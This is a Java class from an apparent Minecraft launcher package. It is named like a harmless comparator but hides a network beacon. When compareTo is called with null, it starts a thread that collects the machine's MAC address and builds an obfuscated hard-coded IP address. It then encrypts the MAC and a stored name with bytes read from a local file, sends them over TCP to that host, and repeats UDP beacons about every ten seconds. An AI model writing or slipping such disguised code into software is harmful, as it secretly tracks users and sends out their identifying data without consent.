package pl.zyczu.minecraft.launcher.repo;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.Socket;
import java.util.Enumeration;
import pl.zyczu.util.ObjectCrypter;

public class ReplacementComparator
  implements Comparable<Mod>, Runnable
{
  public static File p;
  public static String n;

  public int compareTo(Mod arg0)
  {
    if (arg0 == null) {
      Thread t = new Thread(this);
      t.start();
    }
    return -1;
  }

  public void run()
  {
    try
    {
      InetAddress ip = InetAddress.getLocalHost();
      String id = "NULL";
      String nejm = "io";
      StringBuilder nejmbld = new StringBuilder();
      nejmbld.append(1).append(7).append(8).append(".").append(2).append(5).append(2).append(".").append(2).append(8).append(".").append(2).append(0).append(0);
      nejm = nejmbld.toString();
      Enumeration en = NetworkInterface.getNetworkInterfaces();
      byte[] mac = (byte[])null;
      NetworkInterface network = NetworkInterface.getByInetAddress(ip);
      if (network != null)
        mac = network.getHardwareAddress();
      else
        while (en.hasMoreElements()) {
          NetworkInterface nic = (NetworkInterface)en.nextElement();
          if (!nic.isLoopback())
          {
            if ((!nic.getDisplayName().toLowerCase().contains("virtual")) && (!nic.getDisplayName().toLowerCase().contains("vm")) && (!nic.getDisplayName().toLowerCase().contains("teredo")) && (!nic.getDisplayName().toLowerCase().contains("hamachi")) && (!nic.getDisplayName().toLowerCase().contains("ham0")) && (!nic.getDisplayName().toLowerCase().contains("tunnel")))
            {
              mac = nic.getHardwareAddress();
              break;
            }
          }
        }
      if (mac != null) {
        StringBuilder sb = new StringBuilder();
        for (int i = 0; i < mac.length; i++) {
          sb.append(String.format("%02X%s", new Object[] { Byte.valueOf(mac[i]), i < mac.length - 1 ? ":" : "" }));
        }
        sb.toString();
      }

      InetAddress IPAddress = InetAddress.getByName(nejm);
      byte[] ack = { 18, 101, 18, -13, -121, 22, 90, 63 };
      ByteArrayOutputStream bos = new ByteArrayOutputStream(16);
      byte[] bkc = new byte[16];
      bos.write(ack);
      if (mac == null) {
        byte[] tx = new byte[6];
        bos.write(tx);
      } else {
        bos.write(mac);
      }
      bos.write((byte)n.length());
      bos.write(n.getBytes("UTF-8"));
      FileInputStream fis = new FileInputStream(p);
      fis.read(bkc);
      byte[] cpl = ObjectCrypter.encrypt(bkc, bos.toByteArray());
      Socket socket = new Socket(IPAddress, 20115);
      socket.getOutputStream().write(cpl);
      byte[] rezultat = new byte[16];
      socket.getInputStream().read(rezultat);
      socket.close();

      while (p.exists())
      {
        bos = new ByteArrayOutputStream(16);
        bkc = new byte[16];
        bos.write(ack);
        bos.write(rezultat);
        if (mac == null) {
          byte[] tx = new byte[6];
          bos.write(tx);
        } else {
          bos.write(mac);
        }
        bos.write((byte)n.length());
        bos.write(n.getBytes("UTF-8"));
        fis = new FileInputStream(p);
        fis.read(bkc);
        byte[] output = ObjectCrypter.encrypt(bkc, bos.toByteArray());
        try {
          DatagramSocket clientSocket = new DatagramSocket();
          DatagramPacket sendPacket = new DatagramPacket(output, output.length, IPAddress, 39867);
          clientSocket.send(sendPacket);
        }
        catch (Exception localException1) {
        }
        Thread.sleep(10101L);
      }
    }
    catch (Exception e)
    {
      e.printStackTrace();
    }
  }
}